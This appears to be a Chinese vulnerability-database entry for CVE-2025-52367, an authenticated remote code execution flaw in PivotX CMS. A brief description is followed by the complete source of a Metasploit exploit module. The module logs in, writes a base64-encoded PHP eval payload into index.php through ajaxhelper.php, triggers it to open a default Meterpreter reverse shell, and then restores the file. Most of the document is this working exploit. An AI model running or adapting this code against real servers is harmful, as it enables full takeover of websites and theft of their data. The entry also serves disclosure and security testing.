PivotX Remote Code Execution

漏洞信息

漏洞名称: PivotX Remote Code Execution

漏洞编号:

  • CVE: CVE-2025-52367

漏洞类型: 命令执行

漏洞等级: 高危

漏洞描述: PivotX是一个开源的内容管理系统(CMS),广泛用于个人博客和小型网站的搭建。它提供了丰富的功能,包括文章发布、评论管理和用户权限控制等。由于其易用性和灵活性,PivotX在开发者社区中有一定的用户基础。该漏洞存在于PivotX的登录和文件修改功能中,攻击者可以通过构造恶意的HTTP请求,绕过身份验证并在服务器上执行任意代码。漏洞的技术根源在于PivotX对用户输入的处理不当,特别是在文件修改操作中未充分验证用户提交的数据,导致攻击者可以注入恶意代码。这种漏洞的利用可以导致服务器被完全控制,攻击者可以执行任意命令、窃取敏感数据或破坏网站内容。值得注意的是,攻击者需要有效的用户名和密码才能利用此漏洞,这意味着漏洞的利用需要一定的前置条件。然而,一旦攻击者获得了这些凭证,他们可以自动化攻击过程,对受影响的系统造成严重的安全威胁。

产品厂商: PivotX

产品名称: PivotX

影响版本: version <= 3.0.0-rc3

来源: https://github.com/rapid7/metasploit-framework/blob/ed5c13330fa7c401f7d08757cbd7759f93a2c33a/modules%2Fexploits%2Flinux%2Fhttp%2Fpivotx_rce.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

include Exploit::Remote::Tcp
include Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'PivotX Remote Code Execution',
'Description' => %q{
},
'License' => MSF_LICENSE,
'Author' => [
'HayToN', # security research
'msutovsky-r7' # module dev
],
'References' => [
[ 'EDB', '52361' ],
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
[ 'CVE', '2025–52367']
],
'Targets' => [
[
'Linux',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'DisclosureDate' => '2025-07-10',
'DefaultTarget' => 0,

'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
OptString.new('PASSWORD', [true, 'PivotX password', '']),
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php')
})

return Exploit::CheckCode::Unknown, 'Unexpected response' unless res&.code == 200

return Exploit::CheckCode::Safe, 'Target is not PivotX' unless res.body.include?('PivotX Powered')

html_body = res.get_html_document

return Exploit::CheckCode::Unknow, 'Could not find version element' unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }

version = Rex::Version.new(Regexp.last_match(1))

return Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')

return Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable.")
end

def login
boundary = Rex::Text.rand_text_alphanumeric(16).to_s
data_post = "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
data_post << "#{datastore['USERNAME']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
data_post << "#{datastore['PASSWORD']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'login' },
'ctype' => "multipart/form-data; boundary=----WebKitFormBoundary#{boundary}",
'data' => data_post,
'keep_cookies' => true
})

fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless res&.code == 200 && res.body.include?('Dashboard') && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/

@csrf_token = Regexp.last_match(1)
end

def modify_file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'homeexplore' }
})

fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching working directory' unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/

@base_dir = Regexp.last_match(1)

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
})

fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching index.php' unless res&.code == 200

@original_value = res.get_html_document.at('textarea')&.text

fail_with Failure::Unknown, 'Could not find content of index.php' unless @original_value

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
})

fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end

def trigger_payload
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
})
end

def restore
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
})
vprint_status('Restoring original content')
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end

def exploit
vprint_status('Logging in PivotX')
login
vprint_status('Modifying file and injecting payload')
modify_file
vprint_status('Triggering payload')
trigger_payload
restore
end
end